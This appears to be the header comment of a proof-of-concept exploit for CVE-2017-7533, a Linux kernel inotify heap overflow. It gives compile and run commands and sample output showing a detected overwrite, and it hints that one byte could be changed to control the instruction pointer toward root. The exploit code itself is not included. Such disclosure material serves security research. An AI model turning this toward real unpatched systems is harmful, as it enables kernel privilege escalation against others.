* CVE-2017-7533 inotfiy linux kernel vulnerability.
*
* $ gcc -o exploit exploit.c -lpthread
* $./exploit
*
* ```
* Listening for events.
* Listening for events.
* alloc_len : 50
* longname="test_dir/bbbb32103210321032100��1����"
* handle_events() event->name : b, event->len : 16
* Detected overwrite!!!
* callrename done.
* alloc_len : 50
* ```
* This is a heap overflow bug,
* tested on the Debian 8 Linux version 3.16.39(amd64) successfully.
*
* You could modifiy one byte to manipulate rip register, but I do not tried hard to get root.
*
* Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK university.
